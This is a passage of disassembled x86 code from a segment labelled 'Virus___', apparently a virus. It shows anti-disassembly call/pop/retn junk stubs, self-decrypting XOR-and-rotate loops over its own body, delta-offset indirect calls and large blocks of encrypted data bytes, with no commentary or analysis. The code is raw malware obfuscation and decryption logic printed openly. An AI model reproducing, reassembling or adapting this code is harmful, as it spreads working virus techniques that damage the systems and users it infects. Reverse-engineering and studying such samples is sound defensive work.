		dd 4247489h, 4244481h, 19h, 4AC35646h, 4138D80Bh, 22F680ABh
		dd 0F04C1F6h, 0A584h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 83E9C324h, 29000000h
		dd 1B1BED9Dh, 0D5B58B07h, 6A071B23h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 8A36C355h
		dd 88509F13h, 2C3D9D8Bh, 0C681071Bh, 1180h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FBC35242h, 0C7E96070h
		dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 167EB477h, 66C5F2C0h, 6A5ED18Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0D7B9C357h, 0ED2FB300h, 5958B62h,	8B071B16h
		dd 0F883D9h, 0B33840Fh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 2C6962C3h, 37F50ACh
		dd 69950998h, 66071B16h, 0CFF2D281h, 22D59D89h,	0F883071Bh
		dd 10850F01h, 8B000001h, 1B26F595h, 0E0C38107h,	0B8476B50h
		dd 0
; ---------------------------------------------------------------------------
		mov	dx, di
		or	eax, eax
		jz	loc_541CFC
		push	0
		push	ecx
		call	sub_541C5A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_541C5A	proc near		; CODE XREF: Virus___:00541C52p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_541C5A	endp

; ---------------------------------------------------------------------------
		dw 0A7BBh
		dd 19671577h, 0BEFBB66h, 83D88B66h, 840F01F8h, 0A1h, 2D5D958Bh
		dd 958B071Bh, 71B2485h,	0F03F883h, 4784h, 45952B00h, 2B071B35h
		dd 69958BC0h, 8D071B1Ah, 5B89E0BDh, 1DD28100h, 0FF65FD91h
		dd 53006AE7h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0AB5AD43Eh, 60E6DF4Ah, 71BD31F8h, 61071B32h
		dd 1B8h, 0ED852900h, 0BA071B16h, 84E5A26h, 89E0BD8Dh, 958B005Bh
		dd 71B0B89h, 0DF8BE7FFh
; ---------------------------------------------------------------------------


loc_541CFC:				; CODE XREF: Virus___:00541C49j
		lea	edi, [ebp+71B45ABh]
		sub	[ebp+71B0115h],	esi
		jmp	loc_541F1C
; ---------------------------------------------------------------------------
		xor	ebx, [ebp+71B2D1Dh]
		push	eax
		jnp	loc_541D20
		mov	[ebp+71B0BFDh],	ecx


loc_541D20:				; CODE XREF: Virus___:00541D14j
		pop	ebx


loc_541D21:				; CODE XREF: Virus___:00541D77j
		mov	dword ptr [ebp+71B4F7Ah], 5
		mov	[ebp+71B1861h],	edx
		mov	eax, 5
		sub	[ebp+71B2349h],	esi
		jmp	loc_54265F
; ---------------------------------------------------------------------------
		mov	bl, 0D4h
		cmp	eax, 2
		jnz	loc_541E20
		or	edx, [ebp+71B0A95h]
		mov	edx, [ebp+71B0665h]
		mov	eax, 0
		mov	[ebp+71B2A25h],	ebx
		or	eax, eax
		jz	loc_541DFB
		add	[ebp+71B1C09h],	edi
		movzx	edx, ax
		cmp	eax, 1
		jz	loc_541D21
		push	0
		push	ecx
		call	sub_541D88
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_541D88	proc near		; CODE XREF: Virus___:00541D80p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_541D88	endp

; ---------------------------------------------------------------------------
		dd 8BD2814Eh, 8309172Ch, 840F03F8h, 0FFFFFF34h,	5439CA81h
		dd 9D2374DBh, 71B1781h,	0B8h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0A9265FA8h
		dd 0E9F568E1h, 8, 0CA9F6D45h, 85BABDA9h, 89E0BD8Dh, 8057005Bh
		dd 0FF5BA8D7h, 2D950BE7h
		db 21h,	1Bh, 7
; ---------------------------------------------------------------------------


loc_541DFB:				; CODE XREF: Virus___:00541D65j
		lea	edi, [ebp+71B47A3h]
		and	ebx, [ebp+71B3499h]
		jb	loc_541E15
		jg	loc_541E15
		mov	bl, 81h


loc_541E15:				; CODE XREF: Virus___:00541E07j
					; Virus___:00541E0Dj
		jmp	loc_541F1C
; ---------------------------------------------------------------------------
		mov	[ebp+71B1BA1h],	esi


loc_541E20:				; CODE XREF: Virus___:00541D46j
		cmp	eax, 3
		jnz	loc_541E6B
		push	0
		push	edx
		call	sub_541E34
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_541E34	proc near		; CODE XREF: Virus___:00541E2Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_541E34	endp

; ---------------------------------------------------------------------------
		push	ecx
		cli
		xor	[ebp+71B336Dh],	ebx
		lea	edi, [ebp+71B4937h]
		mov	edx, [ebp+71B2B89h]
		jmp	loc_541F1C
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+71B2F09h],	ecx
		mov	[ebp+71B1805h],	eax
		popa


loc_541E6B:				; CODE XREF: Virus___:00541E23j
		cmp	eax, 5
		jnz	loc_541EA1
		jmp	loc_541E7F
; ---------------------------------------------------------------------------
		sbb	esi, [ebx-11252F28h]


loc_541E7F:				; CODE XREF: Virus___:00541E74j
		pusha
		mov	eax, [ebp+71B295Dh]
		mov	bx, 168Eh
		popa
		jmp	loc_54265F
; ---------------------------------------------------------------------------
		call	near ptr loc_541E98+3
		mov	[esi], eax
		xlat


loc_541E98:				; CODE XREF: Virus___:00541E90p
		mov	dword ptr [ecx+ecx*4-80h], 0B65B68DEh
		pop	ecx


loc_541EA1:				; CODE XREF: Virus___:00541E6Ej
		cmp	eax, 6
		jnz	loc_541ED7
		mov	ebx, esi
		lea	edi, [ebp+71B4B2Fh]
		jnz	loc_541ECD
		jmp	loc_541ECD
; ---------------------------------------------------------------------------
		db 9Eh,	0FEh, 0AEh
		dd 0E7ADFA6Dh, 0A099BD6Eh, 7A4D62E3h
		db 0DEh
; ---------------------------------------------------------------------------


loc_541ECD:				; CODE XREF: Virus___:00541EB2j
					; Virus___:00541EB8j
		jmp	loc_541F1C
; ---------------------------------------------------------------------------
		or	bx, 0CE2Bh


loc_541ED7:				; CODE XREF: Virus___:00541EA4j
		cmp	eax, 7
		jnz	loc_541EF2
		lea	edi, [ebp+71B0685h]
		xor	dl, 8
		jmp	loc_541FF9
; ---------------------------------------------------------------------------
		mov	dx, 3804h


loc_541EF2:				; CODE XREF: Virus___:00541EDAj
		cmp	eax, 0Ah
		jnz	loc_541F1C
		clc
		lea	edi, [ebp+71B4D27h]
		jmp	loc_541F10
; ---------------------------------------------------------------------------
		db 0F7h
		dd 26498819h, 0DE589A63h
; ---------------------------------------------------------------------------


loc_541F10:				; CODE XREF: Virus___:00541F02j
		jmp	loc_541F1C
; ---------------------------------------------------------------------------
		mov	[ebp+71B1F19h],	esi
		stc


loc_541F1C:				; CODE XREF: Virus___:00541D08j
					; Virus___:loc_541E15j	...
		push	edi
		mov	dh, 54h
		mov	ecx, 4CA16A88h
		push	0
		push	esi
		call	sub_541F2F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_541F2F	proc near		; CODE XREF: Virus___:00541F27p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_541F2F	endp

; ---------------------------------------------------------------------------
		db 10h
		dd 0E9F0661Fh, 6, 41678D49h, 3F83ADF8h,	9B840F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0B2FFC350h, 0DE952h, 77320000h, 21F919B6h
		dd 8A5031E5h, 30330FEDh, 52006A0Fh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 70F916D9h, 0DE95Eh, 25180000h
		dd 41E1F78h, 0D0372B4Bh, 0D1176883h, 147F5C9h, 1B3515BDh
		dd 0FF84E907h, 6AFFFFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0C27607C3h, 0D38B6C7Dh, 0B899D8Bh
		dd 895F071Bh, 1B34F99Dh
; ---------------------------------------------------------------------------
		pop	es


loc_541FF9:				; CODE XREF: Virus___:00541EE9j
		mov	[ebp+71B4F23h],	edi
		mov	ebx, 3A76926Ah
		lea	ecx, [ebp+71B31E1h]
		push	dword ptr [ebp+71B145Dh]
		push	0
		push	edi
		call	sub_54201B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54201B	proc near		; CODE XREF: Virus___:00542013p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_54201B	endp

; ---------------------------------------------------------------------------
		fadd	st(1), st
		mov	al, 91h
		push	edx
		lea	eax, [ebp+71DA57Eh]
		push	eax
		lea	edi, [ebp+71B5662h]
		lea	ecx, [ebp+71B6EE0h]
		mov	eax, 54831ABCh
		sub	ecx, edi


loc_54204A:				; CODE XREF: Virus___:00542050j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_54204A
		lea	esi, [ebp+71B6E88h]
		lea	ecx, [ebp+71B6EF8h]
		sub	ecx, edi
		rep movsb
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	short loc_5420B3
		cmp	dword ptr [ebp+71B1EA9h], 0
		jz	short loc_54207C
		call	dword ptr [ebp+71B28E9h]


loc_54207C:				; CODE XREF: Virus___:00542074j
		mov	esi, [ebp+71B4F23h]
		lea	eax, [ebp+71DA57Eh]
		call	eax
		lea	eax, [ebp+71B4380h]
		call	eax
		mov	dword ptr [ebp+71B1449h], 1
		mov	esp, [ebp+71B16A5h]
		mov	esi, [ebp+71B30B1h]
		mov	ebp, [ebp+71B2B5Dh]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_5420B3:				; CODE XREF: Virus___:0054206Bj
		mov	bl, 0C0h
		push	ecx
		mov	bx, 0F1ADh
		pop	ebx
		cmp	dword ptr [ebp+71B1B0Dh], 0
		jz	loc_5420D3
		mov	edx, esi
		call	dword ptr [ebp+71B2B3Dh]
		mov	dx, bx


loc_5420D3:				; CODE XREF: Virus___:005420C2j
		cmp	dword ptr [ebp+71B30B9h], 0
		jnz	loc_5422E3
		pusha
		call	sub_5420EE
		mov	al, ds:3E312BBDh
		adc	[esi-4Ah], eax

; =============== S U B	R O U T	I N E =======================================



sub_5420EE	proc near		; CODE XREF: Virus___:005420E1p
		call	near ptr loc_542100+3
		jle	short loc_5420F8
		mov	[eax], esi
		cmpsd


loc_5420F8:				; CODE XREF: sub_5420EE+5j
		adc	ch, al
		fbstp	tbyte ptr [edi+esi*8]
		leave
		xor	al, 9


loc_542100:				; CODE XREF: sub_5420EEp
		xor	[ebx+esi*4+5E95B5Fh], ecx
sub_5420EE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
		dd 35040000h, 61571382h, 2105BD83h, 0F01071Bh, 1C685h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8BFC837Ch, 1B25799Dh, 0F9BD8307h, 71B03h
		dd 195840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F9485AC3h, 4F76BD83h, 0F00071Bh
		dd 16A84h, 51958B00h, 89071B28h, 1B0AB19Dh, 7E858D07h
		dd 6A071DA5h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 46B4C351h, 67B0C733h, 799AEA8Ah
		dd 2E718501h, 0B58B071Bh, 71B4F23h, 0AB24EB81h,	81661165h
		dd 0FF6365D3h, 29958BD0h, 0BB071B03h, 6F5D4258h, 1C0585C6h
		dd 6854071Bh, 0E8C3673Ch, 58F0F53h, 0BB000000h,	58D37D63h
		dd 2434815Bh, 178DD9C8h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 0A9C35040h, 0E8CE7F25h, 225DB5FFh, 6A071Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 6B39CDC3h, 767A3BAh,	11E8AB21h, 54000000h, 8BB24E16h
		dd 0A4349E31h, 0F0FA9E3Fh, 9E96369Bh, 8B5ADE8Bh, 1B2DF595h
		dd 0C858D07h, 89071B3Bh, 1B2C0595h, 31D0FF07h, 1B23D1BDh
		dd 89006A07h, 1B1FF5BDh, 6AFF6A07h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 7FD3C357h
		dd 0E8BA35ACh, 9, 0D0CE97F6h, 0CE3EC430h, 0F800FF9h, 0E9000000h
		dd 0Ah,	0B9CFAD92h, 1D8C9BB6h, 0FF5B33A1h, 619D33D0h, 0FF071B33h
		dd 1B1455B5h, 35950907h, 8B071B04h, 1B03119Dh, 5D95FF07h
		dd 66071B14h
		db 0BBh, 0EDh, 71h
; ---------------------------------------------------------------------------


loc_5422E3:				; CODE XREF: Virus___:005420DAj
		mov	esi, [ebp+71B4F23h]
		mov	ebx, 4EDDDEF2h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5422FA
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5422FA	proc near		; CODE XREF: Virus___:005422F2p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5422FA	endp

; ---------------------------------------------------------------------------
		push	ebx
		setalc
		cmp	esi, ebp
		lea	ecx, [ebx+1B007DB5h]
		pop	es
		push	0
		push	esi
		call	sub_542320
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542320	proc near		; CODE XREF: Virus___:00542318p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_542320	endp

; ---------------------------------------------------------------------------
		dd 0A9934614h, 8509EFD4h, 71B24B9h, 840FF60Bh, 12h, 0E05BD89h
		dd 6C6071Bh, 0D1B70F00h, 2089CB81h, 858932DCh, 71B4F2Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 7FC35747h
		dd 920A2C9Fh, 0F00F883h, 3A484h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 9863EC14h
		dd 2F499D8Bh, 958B071Bh, 71B1861h, 0D0D638BAh, 0B862h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 8F7A84C3h, 5F520437h, 0BD9503A0h,	0F071B2Eh
		dd 681h, 52C28100h, 8312A7C3h, 840F00F8h, 82h, 0B7D958Bh
		dd 0F883071Bh, 5E850F02h, 8A000000h, 0A6858DDAh, 0E8071B45h
		dd 13h,	93E90141h, 0ED73CD3Ah, 960B189Eh, 4644F259h, 31B7EE43h
		dd 1B2F118Dh, 292D5B07h, 0E9000009h, 12h, 91A0B7F4h, 0CD24E362h
		dd 0CA6D7E2Dh, 13E9819Fh, 8950C7E4h, 81662404h,	0C32FC3E3h
		dd 0CE9h, 406A7100h, 79193634h,	0AA9200F0h, 0B8DBh, 0FEBB0000h
		dd 0E97A2E7Eh, 2B5h, 271D9D33h,	1B8071Bh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0D032C350h, 0DA818634h, 6E6B47C0h, 45ABBD8Dh, 0C381071Bh
		dd 512BBE43h, 0E8E9h, 40E38100h, 8350409Ch, 850F02F8h
		dd 7Ch,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h
		dd 5C35343h, 0E381B968h, 2E71E4EDh, 47A3BD8Dh, 6A071Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0B92A21C3h, 8AE905BBh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 586FC356h
		dd 0A92DA69Dh, 24B9958Bh, 958B071Bh, 71B0659h, 0F03F883h
		dd 1785h, 37BD8D00h, 8B071B49h,	1B19259Dh, 0E939B707h
		dd 41h,	0DB8DBB66h, 0F05F883h, 3485h, 0E9B58900h, 0E9071B17h
		dd 0EBh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0BC35646h, 0CEB65265h, 0B834B2C1h, 0B2D68B4Fh
		dd 9D8957CCh, 71B2FF9h,	0A16A88B9h, 56006A4Ch, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0F6804BABh
		dd 0CE86D4Bh, 80000000h, 6E05E202h, 0FCC26F33h,	810F156Fh
		dd 0D53418CBh, 3F835A48h, 74840F00h, 0B6000000h, 6A0F30B8h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 9824C350h, 0B7C381D3h, 0D16F62B2h, 50006AC9h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0B1BE90ADh, 0E9D68B47h, 0FFFFFFA6h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0FAC35545h,	1DD30243h
		db 6Eh,	0B6h, 0E8h
; ---------------------------------------------------------------------------


loc_54265F:				; CODE XREF: Virus___:00541D3Cj
					; Virus___:00541E8Bj
		cmp	eax, 5
		jnz	loc_542729
		push	0
		push	esi
		call	sub_542673
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542673	proc near		; CODE XREF: Virus___:0054266Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_542673	endp

; ---------------------------------------------------------------------------
		db 0A3h
		dd 0AB210767h, 12E8h, 0FF46500h, 1147D850h, 45DFBF8Dh
		dd 1B37ACE1h, 66897329h, 5BA789BBh, 60D98C66h, 6E8h, 1D376E00h
		dd 0B357AD2Ah, 95315958h, 71B1F39h, 4C1F661h, 2E850Fh
		dd 6E90000h, 91000000h,	0DB17C0E1h, 0B887h, 840F0000h
		dd 5, 0FDA8166h, 43E9B5h, 9E90000h, 50000000h, 0DFE7C477h
		dd 5BD3C0BDh, 2131858Bh, 958B071Bh, 71B2BC5h, 6AE0FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0B01C43C3h, 2D5D8D01h, 8B66071Bh
		db 0D3h
; ---------------------------------------------------------------------------


loc_542729:				; CODE XREF: Virus___:00542662j
		cmp	dword ptr [ebp+71B145Dh], 0
		jnz	loc_5427E3
		mov	edx, edi
		push	eax
		mov	[esp], eax
		push	0
		push	ebx
		call	sub_542747
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542747	proc near		; CODE XREF: Virus___:0054273Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_542747	endp

; ---------------------------------------------------------------------------
		db 21h
		dd 532D40B9h, 0F07BFDC1h, 0C6D18B12h, 1B1C0585h, 0F574507h
		dd 685AD8B7h, 261DADB8h, 0B1240481h, 0F56854BBh, 225DB5FFh
		dd 0BD89071Bh, 71B266Dh, 3B0C858Dh, 6A071Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 7693E5C3h
		dd 57F4226h, 0ADB501F9h, 0FF071B25h, 0CE9D0h, 6560000h
		dd 0E11756D6h, 0B072A28Eh, 8589B2F8h, 71B145Dh,	2BC58531h
		dd 0BD89071Bh, 71B010Dh, 8B0F58h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5427E3:				; CODE XREF: Virus___:00542730j
		cmp	dword ptr [ebp+71B4F7Ah], 0
		jz	loc_54280E
		jge	loc_5427FC
		mov	edx, [ebp+71B2AD1h]


loc_5427FC:				; CODE XREF: Virus___:005427F0j
		push	dword ptr [ebp+71B1455h]
		mov	ebx, [ebp+71B33A1h]
		call	dword ptr [ebp+71B145Dh]


loc_54280E:				; CODE XREF: Virus___:005427EAj
		cmp	eax, 0
		jnz	loc_54290C
		jno	loc_542835
		jmp	loc_542835
; ---------------------------------------------------------------------------
		dw 0F277h
		dd 0A34D55E2h, 2C2BE260h, 49245FF6h, 0A4CCBB3Ah
; ---------------------------------------------------------------------------
		push	edi


loc_542835:				; CODE XREF: Virus___:00542817j
					; Virus___:0054281Dj
		cmp	dword ptr [ebp+71B24EDh], 0
		jz	loc_542897
		and	edx, [ebp+71B33D9h]
		mov	edx, ecx
		push	dword ptr [ebp+71B24EDh]
		movzx	ebx, cx
		mov	eax, 1
		mov	dh, 0DCh
		jmp	loc_542A9D
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_54286A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54286A	proc near		; CODE XREF: Virus___:00542862p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_54286A	endp

; ---------------------------------------------------------------------------
		push	esp
		xchg	eax, edi
		or	al, 8Fh
		sub	[edi+22h], edi
		sub	bh, ds:5A5B5756h[edi*8]
		push	edx
		jmp	loc_542894
; ---------------------------------------------------------------------------
		and	[ecx], bl
		mov	bl, 0D6h
		fldlg2


loc_542894:				; CODE XREF: Virus___:00542889j
		pop	edx
		mov	ebx, eax


loc_542897:				; CODE XREF: Virus___:0054283Cj
		push	dword ptr [ebp+71B1455h]
		push	0
		push	edi
		call	sub_5428A8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5428A8	proc near		; CODE XREF: Virus___:005428A0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5428A8	endp

; ---------------------------------------------------------------------------
		sal	ch, 1
		xor	bl, dh
		xor	al, 3Bh
		rcl	dword ptr ds:5DC38166h,	87h
		add	bx, 0D521h
		push	dword ptr [ebp+71B1455h]
		push	0
		push	edi
		call	sub_5428DB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5428DB	proc near		; CODE XREF: Virus___:005428D3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5428DB	endp

; ---------------------------------------------------------------------------
		db 4Ch
; ---------------------------------------------------------------------------
		pusha
		add	[ebp+71B0BC5h],	edx
		mov	ebx, 4B2DF094h
		popa
		push	dword ptr [ebp+71B145Dh]
		mov	edx, [ebp+71B04C9h]
		jmp	loc_542A9D
; ---------------------------------------------------------------------------
		mov	bh, 1Bh


loc_54290C:				; CODE XREF: Virus___:00542811j
		pop	edi
		mov	ebx, 18EAE107h
		cmp	dword ptr [ebp+71B2959h], 0
		jnz	loc_5429EC
		adc	bh, 87h
		mov	byte ptr [ebp+71B1C05h], 4Dh
		push	0
		push	ebx
		call	sub_542934
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542934	proc near		; CODE XREF: Virus___:0054292Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_542934	endp

; ---------------------------------------------------------------------------
		dd 0CE806939h, 4E886h, 76A80000h, 5060A435h, 8A310F52h
		dd 0B5585ADAh, 8B5061CFh, 66042444h, 8B039DBBh,	0DABB6600h
		dd 244489DAh, 0E810BB04h, 0E95804FAh, 11h, 0DE3E54F4h
		dd 0D62D55C2h, 0EDC163A3h, 37113154h, 0B5FFF866h, 71B08CDh
		dd 9E935B6h, 0FD000000h, 0FC05A880h, 3AD4DEF8h,	3B0C858Dh
		dd 6A071Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 589097C3h, 0BF0F8CD4h, 60D0FFDAh,	81B58B53h
		dd 5A071B0Bh, 18ED8D8Bh, 8961071Bh, 1B295985h, 0BA68B307h
		dd 7859E832h
; ---------------------------------------------------------------------------


loc_5429EC:				; CODE XREF: Virus___:00542919j
		mov	eax, 0
		xor	dx, 28FDh
		mov	[ebp+71B4F23h],	edi
		push	0
		push	eax
		call	sub_542A07
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542A07	proc near		; CODE XREF: Virus___:005429FFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_542A07	endp

; ---------------------------------------------------------------------------
		push	ds
		pusha
		xchg	eax, edi
		mov	[edi+0FC00BA6h], al
		test	ds:8B000000h, dl
		popf
		movsd
		and	[ebx], ebx
		pop	es
		jmp	loc_542A9D
; ---------------------------------------------------------------------------
		ja	loc_542A3A
		mov	dx, 287Ch


loc_542A3A:				; CODE XREF: Virus___:00542A30j
		push	dword ptr [ebp+71B145Dh]
		jmp	loc_542A55
; ---------------------------------------------------------------------------
		db 0EAh, 41h, 65h
		dd 2B5A5460h, 379AB084h, 3BA480A9h
; ---------------------------------------------------------------------------
		push	ecx


loc_542A55:				; CODE XREF: Virus___:00542A40j
		lea	eax, [ebp+71DA57Eh]
		push	0
		push	eax
		call	sub_542A66
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_542A66	proc near		; CODE XREF: Virus___:00542A5Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_542A66	endp

; ---------------------------------------------------------------------------
		dw 0FEDFh
; ---------------------------------------------------------------------------
		std
		jmp	loc_542A8C
; ---------------------------------------------------------------------------
		dw 268Bh
		dd 3ED15D0Dh, 4FA404B1h, 0A333E218h
; ---------------------------------------------------------------------------


loc_542A8C:				; CODE XREF: Virus___:00542A79j
		push	eax
		pusha
		mov	edi, 137E8022h
		popa
		mov	[esp], eax
		mov	edx, [ebp+71B1FE1h]


loc_542A9D:				; CODE XREF: Virus___:0054285Aj
					; Virus___:00542905j ...
		push	eax
		push	esi
		lea	edi, [ebp+71B5662h]
		lea	ecx, [ebp+71B7948h]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_542AB2:				; CODE XREF: Virus___:00542AB8j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_542AB2
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+71B24EDh], 0
		jz	short loc_542ACB
		mov	ecx, [ebp+71B2915h]


loc_542ACB:				; CODE XREF: Virus___:00542AC3j
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_542B82
		cmp	dword ptr [ebp+71B1EA9h], 0
		jz	short loc_542AE9
		call	dword ptr [ebp+71B28E9h]


loc_542AE9:				; CODE XREF: Virus___:00542AE1j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_542AFB
		cmp	dword ptr [ebp+71B4F2Bh], 1
		jz	short loc_542B04


loc_542AFB:				; CODE XREF: Virus___:00542AF0j
		cmp	dword ptr [ebp+71B4F2Bh], 2
		jnz	short loc_542B12


loc_542B04:				; CODE XREF: Virus___:00542AF9j
		mov	esi, [ebp+71B4F23h]
		lea	eax, [ebp+71DA57Eh]
		call	eax


loc_542B12:				; CODE XREF: Virus___:00542B02j
		cmp	dword ptr [ebp+71B1B0Dh], 0
		jz	short loc_542B21
		call	dword ptr [ebp+71B2B3Dh]


loc_542B21:				; CODE XREF: Virus___:00542B19j
		lea	eax, [ebp+71B4380h]
		call	eax
		cmp	dword ptr [ebp+71B325Dh], 2
		jnz	short loc_542B61
		mov	esp, [ebp+71B16A5h]
		mov	eax, [ebp+71B24EDh]
		mov	[esp], eax
		mov	dword ptr [ebp+71B1449h], 1
		mov	esi, [ebp+71B4F27h]
		mov	ebp, [ebp+71B2B5Dh]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_542B61:				; CODE XREF: Virus___:00542B30j
		mov	dword ptr [ebp+71B1449h], 1
		mov	esp, [ebp+71B16A5h]
		mov	esi, [ebp+71B30B1h]
		mov	ebp, [ebp+71B2B5Dh]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_542B82:				; CODE XREF: Virus___:00542AD4j
		cmp	dword ptr [ebp+71B1B0Dh], 0
		jz	short loc_542B9A
		cmp	dword ptr [ebp+71B2B3Dh], 0
		jz	short loc_542B9A
		call	dword ptr [ebp+71B2B3Dh]


loc_542B9A:				; CODE XREF: Virus___:00542B89j
					; Virus___:00542B92j
		mov	esi, [ebp+71B4F23h]
		retn
; ---------------------------------------------------------------------------
		jmp	loc_542BB9
; ---------------------------------------------------------------------------
		dw 0FBE8h
